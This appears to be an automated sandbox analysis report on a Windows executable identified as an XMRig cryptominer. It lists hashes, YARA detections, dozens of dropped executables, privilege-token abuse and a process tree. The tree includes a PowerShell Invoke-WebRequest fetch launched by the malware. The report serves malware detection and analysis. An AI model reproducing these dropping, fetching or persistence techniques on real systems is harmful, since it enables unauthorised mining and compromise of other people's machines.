xmrig | 56efc3f7a3b99b660d0ce01698a72869f41dc1f4b6c3df7305af2d2c92641c0e

Analysis

max time kernel
120s
max time network
107s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
07/09/2024, 10:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ca09e662ee08f5e7fc28dba5b7880e80N.exe
Size

1.6MB
MD5

ca09e662ee08f5e7fc28dba5b7880e80
SHA1

350b017c4b0e6c0d2b5bba91bb67e10e5967f17e
SHA256

56efc3f7a3b99b660d0ce01698a72869f41dc1f4b6c3df7305af2d2c92641c0e
SHA512

205408acae4d7b56574eff85de046db2a910747f1edc8f40c2da9684f054eec5219aa74f3ec1316eb21fbe9522b3a7c16fa737cb3428d6b901aa1c1685cd0fd4
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkFfkeMGvGr1t4oAirbNIjTqaQV/cez+apER:Lz071uv4BPMkFfdk2auTqao/ZER

Score

10^/10

xmrig execution miner persistence privilege_escalation upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 27 IoCs

miner

resource	yara_rule
behavioral2/memory/2524-299-0x00007FF7EB380000-0x00007FF7EB772000-memory.dmp	xmrig
behavioral2/memory/836-353-0x00007FF692520000-0x00007FF692912000-memory.dmp	xmrig
behavioral2/memory/5080-402-0x00007FF683840000-0x00007FF683C32000-memory.dmp	xmrig
behavioral2/memory/1308-409-0x00007FF74D080000-0x00007FF74D472000-memory.dmp	xmrig
behavioral2/memory/3116-413-0x00007FF741F50000-0x00007FF742342000-memory.dmp	xmrig
behavioral2/memory/5092-417-0x00007FF7D6A20000-0x00007FF7D6E12000-memory.dmp	xmrig
behavioral2/memory/2700-1175-0x00007FF632420000-0x00007FF632812000-memory.dmp	xmrig
behavioral2/memory/556-2710-0x00007FF6F0860000-0x00007FF6F0C52000-memory.dmp	xmrig
behavioral2/memory/4692-2814-0x00007FF674860000-0x00007FF674C52000-memory.dmp	xmrig
behavioral2/memory/3204-815-0x00007FF6F4F90000-0x00007FF6F5382000-memory.dmp	xmrig
behavioral2/memory/1204-416-0x00007FF682220000-0x00007FF682612000-memory.dmp	xmrig
behavioral2/memory/4216-415-0x00007FF6845F0000-0x00007FF6849E2000-memory.dmp	xmrig
behavioral2/memory/4800-414-0x00007FF7F3F50000-0x00007FF7F4342000-memory.dmp	xmrig
behavioral2/memory/768-412-0x00007FF766EF0000-0x00007FF7672E2000-memory.dmp	xmrig
behavioral2/memory/1992-411-0x00007FF66DEC0000-0x00007FF66E2B2000-memory.dmp	xmrig
behavioral2/memory/1324-410-0x00007FF74C9D0000-0x00007FF74CDC2000-memory.dmp	xmrig
behavioral2/memory/4064-408-0x00007FF6F9560000-0x00007FF6F9952000-memory.dmp	xmrig
behavioral2/memory/2892-407-0x00007FF6CAE10000-0x00007FF6CB202000-memory.dmp	xmrig
behavioral2/memory/1520-406-0x00007FF7658B0000-0x00007FF765CA2000-memory.dmp	xmrig
behavioral2/memory/4408-405-0x00007FF660C60000-0x00007FF661052000-memory.dmp	xmrig
behavioral2/memory/4880-404-0x00007FF67F490000-0x00007FF67F882000-memory.dmp	xmrig
behavioral2/memory/4048-403-0x00007FF785610000-0x00007FF785A02000-memory.dmp	xmrig
behavioral2/memory/3560-345-0x00007FF7179D0000-0x00007FF717DC2000-memory.dmp	xmrig
behavioral2/memory/4208-221-0x00007FF6DE9B0000-0x00007FF6DEDA2000-memory.dmp	xmrig
behavioral2/memory/2152-163-0x00007FF7E7D30000-0x00007FF7E8122000-memory.dmp	xmrig
behavioral2/memory/4692-24-0x00007FF674860000-0x00007FF674C52000-memory.dmp	xmrig
behavioral2/memory/556-4653-0x00007FF6F0860000-0x00007FF6F0C52000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3064	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4692	tVIqEKG.exe
3204	eqPNpNt.exe
2152	XoTflzk.exe
4208	ObYuzbk.exe
2524	bshOxmb.exe
2700	prgvNrk.exe
3560	SYOYgPs.exe
836	RGShIDA.exe
5080	YUwPKBX.exe
4048	gsvlcHI.exe
4880	ksbDHuH.exe
4408	VIEnqIK.exe
1520	saqsSkZ.exe
2892	slRravh.exe
4064	MfdBnBK.exe
1308	NXLdXbk.exe
1324	qFIHuEH.exe
1992	EGwhCEN.exe
768	iSsRXrK.exe
3116	PAJqxYt.exe
4800	njomWkT.exe
4216	GWWTWAN.exe
1204	KYXpift.exe
5092	BduajBL.exe
4412	OyGYUZA.exe
684	LNrCcIY.exe
4916	hECHpEH.exe
776	kuEabhc.exe
4928	KQuLrZE.exe
1884	quMFhXc.exe
1876	msqBDNx.exe
2264	dyzOayJ.exe
3740	lNilQNT.exe
3484	HVAXJXD.exe
4644	FlgZApy.exe
956	onsFIAI.exe
3764	QxtQQOR.exe
4712	rcpTSkc.exe
2628	QrypEkr.exe
4284	xzyAmYm.exe
932	FzOOiIZ.exe
3508	lBjdYOi.exe
668	DEURBDG.exe
2732	vMEISWS.exe
336	lHTQynn.exe
4924	juLaROm.exe
2308	vVFXaOP.exe
2600	lSDcsCp.exe
1624	WcKvPoZ.exe
1364	NUtBpox.exe
2828	IMnDIDx.exe
4788	xfxUUkc.exe
4192	dWdlTts.exe
1152	JUhbpnS.exe
2028	lixMfon.exe
1536	vOhnehm.exe
1388	HIxzZSJ.exe
4532	NXUNuvC.exe
2956	mKXlebX.exe
4996	hymeXTc.exe
2032	DEiFCme.exe
3228	YQzQVhY.exe
2436	SWxcXyd.exe
4492	PibjDXH.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/556-0-0x00007FF6F0860000-0x00007FF6F0C52000-memory.dmp	upx
behavioral2/files/0x0007000000023419-8.dat	upx
behavioral2/files/0x000e0000000229ae-6.dat	upx
behavioral2/files/0x000700000002341b-21.dat	upx
behavioral2/files/0x000700000002341d-29.dat	upx
behavioral2/files/0x0007000000023424-67.dat	upx
behavioral2/files/0x0007000000023425-82.dat	upx
behavioral2/files/0x000700000002342b-193.dat	upx
behavioral2/memory/2524-299-0x00007FF7EB380000-0x00007FF7EB772000-memory.dmp	upx
behavioral2/memory/836-353-0x00007FF692520000-0x00007FF692912000-memory.dmp	upx
behavioral2/memory/5080-402-0x00007FF683840000-0x00007FF683C32000-memory.dmp	upx
behavioral2/memory/1308-409-0x00007FF74D080000-0x00007FF74D472000-memory.dmp	upx
behavioral2/memory/3116-413-0x00007FF741F50000-0x00007FF742342000-memory.dmp	upx
behavioral2/memory/5092-417-0x00007FF7D6A20000-0x00007FF7D6E12000-memory.dmp	upx
behavioral2/memory/2700-1175-0x00007FF632420000-0x00007FF632812000-memory.dmp	upx
behavioral2/memory/556-2710-0x00007FF6F0860000-0x00007FF6F0C52000-memory.dmp	upx
behavioral2/memory/4692-2814-0x00007FF674860000-0x00007FF674C52000-memory.dmp	upx
behavioral2/memory/3204-815-0x00007FF6F4F90000-0x00007FF6F5382000-memory.dmp	upx
behavioral2/memory/1204-416-0x00007FF682220000-0x00007FF682612000-memory.dmp	upx
behavioral2/memory/4216-415-0x00007FF6845F0000-0x00007FF6849E2000-memory.dmp	upx
behavioral2/memory/4800-414-0x00007FF7F3F50000-0x00007FF7F4342000-memory.dmp	upx
behavioral2/memory/768-412-0x00007FF766EF0000-0x00007FF7672E2000-memory.dmp	upx
behavioral2/memory/1992-411-0x00007FF66DEC0000-0x00007FF66E2B2000-memory.dmp	upx
behavioral2/memory/1324-410-0x00007FF74C9D0000-0x00007FF74CDC2000-memory.dmp	upx
behavioral2/memory/4064-408-0x00007FF6F9560000-0x00007FF6F9952000-memory.dmp	upx
behavioral2/memory/2892-407-0x00007FF6CAE10000-0x00007FF6CB202000-memory.dmp	upx
behavioral2/memory/1520-406-0x00007FF7658B0000-0x00007FF765CA2000-memory.dmp	upx
behavioral2/memory/4408-405-0x00007FF660C60000-0x00007FF661052000-memory.dmp	upx
behavioral2/memory/4880-404-0x00007FF67F490000-0x00007FF67F882000-memory.dmp	upx
behavioral2/memory/4048-403-0x00007FF785610000-0x00007FF785A02000-memory.dmp	upx
behavioral2/memory/3560-345-0x00007FF7179D0000-0x00007FF717DC2000-memory.dmp	upx
behavioral2/memory/4208-221-0x00007FF6DE9B0000-0x00007FF6DEDA2000-memory.dmp	upx
behavioral2/files/0x000700000002343d-176.dat	upx
behavioral2/files/0x0007000000023432-175.dat	upx
behavioral2/files/0x000700000002343c-172.dat	upx
behavioral2/files/0x0007000000023431-166.dat	upx
behavioral2/memory/2152-163-0x00007FF7E7D30000-0x00007FF7E8122000-memory.dmp	upx
behavioral2/files/0x0007000000023439-154.dat	upx
behavioral2/files/0x0007000000023438-150.dat	upx
behavioral2/files/0x000700000002342f-148.dat	upx
behavioral2/files/0x0007000000023437-147.dat	upx
behavioral2/files/0x0007000000023436-146.dat	upx
behavioral2/files/0x0007000000023435-145.dat	upx
behavioral2/files/0x0007000000023434-144.dat	upx
behavioral2/files/0x000700000002342d-200.dat	upx
behavioral2/files/0x000700000002342c-192.dat	upx
behavioral2/files/0x000700000002342a-190.dat	upx
behavioral2/files/0x0007000000023428-180.dat	upx
behavioral2/files/0x0007000000023427-142.dat	upx
behavioral2/files/0x0007000000023433-141.dat	upx
behavioral2/files/0x000700000002343b-159.dat	upx
behavioral2/files/0x0007000000023420-130.dat	upx
behavioral2/files/0x000700000002343a-155.dat	upx
behavioral2/files/0x0007000000023426-118.dat	upx
behavioral2/files/0x000700000002342e-114.dat	upx
behavioral2/files/0x0007000000023429-104.dat	upx
behavioral2/files/0x0007000000023422-96.dat	upx
behavioral2/files/0x0007000000023430-125.dat	upx
behavioral2/files/0x000700000002341f-86.dat	upx
behavioral2/files/0x000700000002341c-74.dat	upx
behavioral2/files/0x0007000000023423-68.dat	upx
behavioral2/files/0x0007000000023418-41.dat	upx
behavioral2/files/0x0007000000023421-56.dat	upx
behavioral2/files/0x000700000002341a-40.dat	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\WUzzByV.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\wHqXuiO.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\mmDtkFM.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\CZEYoQN.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\XmkXgwa.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\vaUafPg.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\dIkhgTQ.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\ACRFhGY.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\ovATQhh.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\ArInaXV.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\ANDXrFS.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\fsDQBSr.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\tprPdTm.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\lNilQNT.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\xBFvuTG.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\hqQFRaA.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\lAghTOp.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\fJDDnIz.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\HAeLfpj.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\NVtEFHh.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\vMEISWS.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\cVhbsTP.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\YtUomgN.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\XPruBtt.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\XfRFFog.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\NXLdXbk.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\hECHpEH.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\iOfAcgd.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\kMLZZwu.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\GfNQHde.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\WhyPcDp.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\OXocfHd.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\HnMnSBT.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\hpmbFUy.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\FraXKgx.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\rPLrLZg.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\ujaoyLQ.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\PNGhiAC.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\BNkulEu.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\eDxUKTj.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\uOKrDJF.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\dxsuDkP.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\CaBuGZi.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\biwSSWy.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\oosAXnx.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\KjeRnQF.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\cqeZnmX.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\OyIVksF.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\oeVIIGa.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\TPsoLWO.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\SVmYTah.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\KTostJX.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\qfyeWiL.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\PjVCqso.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\mySmHAh.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\jJJuGDg.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\WjCTkiE.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\jbsaZjd.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\UDPmuGE.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\tVIqEKG.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\QwSCnqW.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\KYrTDhA.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\ordOyBC.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe
File created	C:\Windows\System\fadXQvX.exe	ca09e662ee08f5e7fc28dba5b7880e80N.exe

Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
persistence privilege_escalation

Accessibility Features
T1546.008

Modifies data under HKEY_USERS 12 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates	dwm.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3064	powershell.exe
3064	powershell.exe
3064	powershell.exe
3064	powershell.exe

Suspicious behavior: LoadsDriver 64 IoCs

pid	Process
5688	Process not Found
5480	Process not Found
5620	Process not Found
5340	Process not Found
3496	Process not Found
6016	Process not Found
1848	Process not Found
6028	Process not Found
3016	Process not Found
6864	Process not Found
3220	Process not Found
6868	Process not Found
6880	Process not Found
1860	Process not Found
6892	Process not Found
6896	Process not Found
7828	Process not Found
7724	Process not Found
6956	Process not Found
6936	Process not Found
6928	Process not Found
6920	Process not Found
6924	Process not Found
6916	Process not Found
6908	Process not Found
6968	Process not Found
6976	Process not Found
6988	Process not Found
6980	Process not Found
7000	Process not Found
7008	Process not Found
7020	Process not Found
7004	Process not Found
7012	Process not Found
7036	Process not Found
7024	Process not Found
7040	Process not Found
7048	Process not Found
7052	Process not Found
7060	Process not Found
7064	Process not Found
9248	Process not Found
9236	Process not Found
9240	Process not Found
9340	Process not Found
9324	Process not Found
8268	Process not Found
9268	Process not Found
9404	Process not Found
9428	Process not Found
9420	Process not Found
9476	Process not Found
9500	Process not Found
9600	Process not Found
9572	Process not Found
9632	Process not Found
8704	Process not Found
8576	Process not Found
9708	Process not Found
8860	Process not Found
8924	Process not Found
5148	Process not Found
8848	Process not Found
7408	Process not Found

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	3064	powershell.exe
Token: SeLockMemoryPrivilege	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe
Token: SeLockMemoryPrivilege	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe
Token: SeCreateGlobalPrivilege	5368	dwm.exe
Token: SeChangeNotifyPrivilege	5368	dwm.exe
Token: 33	5368	dwm.exe
Token: SeIncBasePriorityPrivilege	5368	dwm.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 556 wrote to memory of 3064	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	84
PID 556 wrote to memory of 3064	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	84
PID 556 wrote to memory of 4692	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	85
PID 556 wrote to memory of 4692	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	85
PID 556 wrote to memory of 4208	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	86
PID 556 wrote to memory of 4208	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	86
PID 556 wrote to memory of 3204	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	87
PID 556 wrote to memory of 3204	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	87
PID 556 wrote to memory of 2152	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	88
PID 556 wrote to memory of 2152	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	88
PID 556 wrote to memory of 2524	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	89
PID 556 wrote to memory of 2524	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	89
PID 556 wrote to memory of 2700	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	90
PID 556 wrote to memory of 2700	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	90
PID 556 wrote to memory of 3560	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	91
PID 556 wrote to memory of 3560	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	91
PID 556 wrote to memory of 836	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	92
PID 556 wrote to memory of 836	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	92
PID 556 wrote to memory of 5080	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	93
PID 556 wrote to memory of 5080	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	93
PID 556 wrote to memory of 4048	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	94
PID 556 wrote to memory of 4048	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	94
PID 556 wrote to memory of 4880	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	95
PID 556 wrote to memory of 4880	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	95
PID 556 wrote to memory of 4408	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	96
PID 556 wrote to memory of 4408	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	96
PID 556 wrote to memory of 1520	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	97
PID 556 wrote to memory of 1520	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	97
PID 556 wrote to memory of 2892	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	98
PID 556 wrote to memory of 2892	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	98
PID 556 wrote to memory of 4064	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	99
PID 556 wrote to memory of 4064	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	99
PID 556 wrote to memory of 1308	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	100
PID 556 wrote to memory of 1308	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	100
PID 556 wrote to memory of 1324	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	101
PID 556 wrote to memory of 1324	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	101
PID 556 wrote to memory of 1992	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	102
PID 556 wrote to memory of 1992	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	102
PID 556 wrote to memory of 768	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	103
PID 556 wrote to memory of 768	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	103
PID 556 wrote to memory of 3116	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	104
PID 556 wrote to memory of 3116	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	104
PID 556 wrote to memory of 4800	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	105
PID 556 wrote to memory of 4800	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	105
PID 556 wrote to memory of 4216	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	106
PID 556 wrote to memory of 4216	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	106
PID 556 wrote to memory of 1204	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	107
PID 556 wrote to memory of 1204	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	107
PID 556 wrote to memory of 5092	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	108
PID 556 wrote to memory of 5092	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	108
PID 556 wrote to memory of 4412	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	109
PID 556 wrote to memory of 4412	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	109
PID 556 wrote to memory of 684	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	110
PID 556 wrote to memory of 684	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	110
PID 556 wrote to memory of 4916	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	111
PID 556 wrote to memory of 4916	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	111
PID 556 wrote to memory of 776	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	112
PID 556 wrote to memory of 776	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	112
PID 556 wrote to memory of 4928	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	113
PID 556 wrote to memory of 4928	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	113
PID 556 wrote to memory of 1884	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	114
PID 556 wrote to memory of 1884	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	114
PID 556 wrote to memory of 1876	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	115
PID 556 wrote to memory of 1876	556	ca09e662ee08f5e7fc28dba5b7880e80N.exe	115

C:\Users\Admin\AppData\Local\Temp\ca09e662ee08f5e7fc28dba5b7880e80N.exe
"C:\Users\Admin\AppData\Local\Temp\ca09e662ee08f5e7fc28dba5b7880e80N.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3064
- C:\Windows\System\tVIqEKG.exe
  C:\Windows\System\tVIqEKG.exe
  2⤵
  - Executes dropped EXE
  PID:4692
- C:\Windows\System\ObYuzbk.exe
  C:\Windows\System\ObYuzbk.exe
  2⤵
  - Executes dropped EXE
  PID:4208
- C:\Windows\System\eqPNpNt.exe
  C:\Windows\System\eqPNpNt.exe
  2⤵
  - Executes dropped EXE
  PID:3204
- C:\Windows\System\XoTflzk.exe
  C:\Windows\System\XoTflzk.exe
  2⤵
  - Executes dropped EXE
  PID:2152
- C:\Windows\System\bshOxmb.exe
  C:\Windows\System\bshOxmb.exe
  2⤵
  - Executes dropped EXE
  PID:2524
- C:\Windows\System\prgvNrk.exe
  C:\Windows\System\prgvNrk.exe
  2⤵
  - Executes dropped EXE
  PID:2700
- C:\Windows\System\SYOYgPs.exe
  C:\Windows\System\SYOYgPs.exe
  2⤵
  - Executes dropped EXE
  PID:3560
- C:\Windows\System\RGShIDA.exe
  C:\Windows\System\RGShIDA.exe
  2⤵
  - Executes dropped EXE
  PID:836
- C:\Windows\System\YUwPKBX.exe
  C:\Windows\System\YUwPKBX.exe
  2⤵
  - Executes dropped EXE
  PID:5080
- C:\Windows\System\gsvlcHI.exe
  C:\Windows\System\gsvlcHI.exe
  2⤵
  - Executes dropped EXE
  PID:4048
- C:\Windows\System\ksbDHuH.exe
  C:\Windows\System\ksbDHuH.exe
  2⤵
  - Executes dropped EXE
  PID:4880
- C:\Windows\System\VIEnqIK.exe
  C:\Windows\System\VIEnqIK.exe
  2⤵
  - Executes dropped EXE
  PID:4408
- C:\Windows\System\saqsSkZ.exe
  C:\Windows\System\saqsSkZ.exe
  2⤵
  - Executes dropped EXE
  PID:1520
- C:\Windows\System\slRravh.exe
  C:\Windows\System\slRravh.exe
  2⤵
  - Executes dropped EXE
  PID:2892
- C:\Windows\System\MfdBnBK.exe
  C:\Windows\System\MfdBnBK.exe
  2⤵
  - Executes dropped EXE
  PID:4064
- C:\Windows\System\NXLdXbk.exe
  C:\Windows\System\NXLdXbk.exe
  2⤵
  - Executes dropped EXE
  PID:1308
- C:\Windows\System\qFIHuEH.exe
  C:\Windows\System\qFIHuEH.exe
  2⤵
  - Executes dropped EXE
  PID:1324
- C:\Windows\System\EGwhCEN.exe
  C:\Windows\System\EGwhCEN.exe
  2⤵
  - Executes dropped EXE
  PID:1992
- C:\Windows\System\iSsRXrK.exe
  C:\Windows\System\iSsRXrK.exe
  2⤵
  - Executes dropped EXE
  PID:768
- C:\Windows\System\PAJqxYt.exe
  C:\Windows\System\PAJqxYt.exe
  2⤵
  - Executes dropped EXE
  PID:3116
- C:\Windows\System\njomWkT.exe
  C:\Windows\System\njomWkT.exe
  2⤵
  - Executes dropped EXE
  PID:4800
- C:\Windows\System\GWWTWAN.exe
  C:\Windows\System\GWWTWAN.exe
  2⤵
  - Executes dropped EXE
  PID:4216
- C:\Windows\System\KYXpift.exe
  C:\Windows\System\KYXpift.exe
  2⤵
  - Executes dropped EXE
  PID:1204
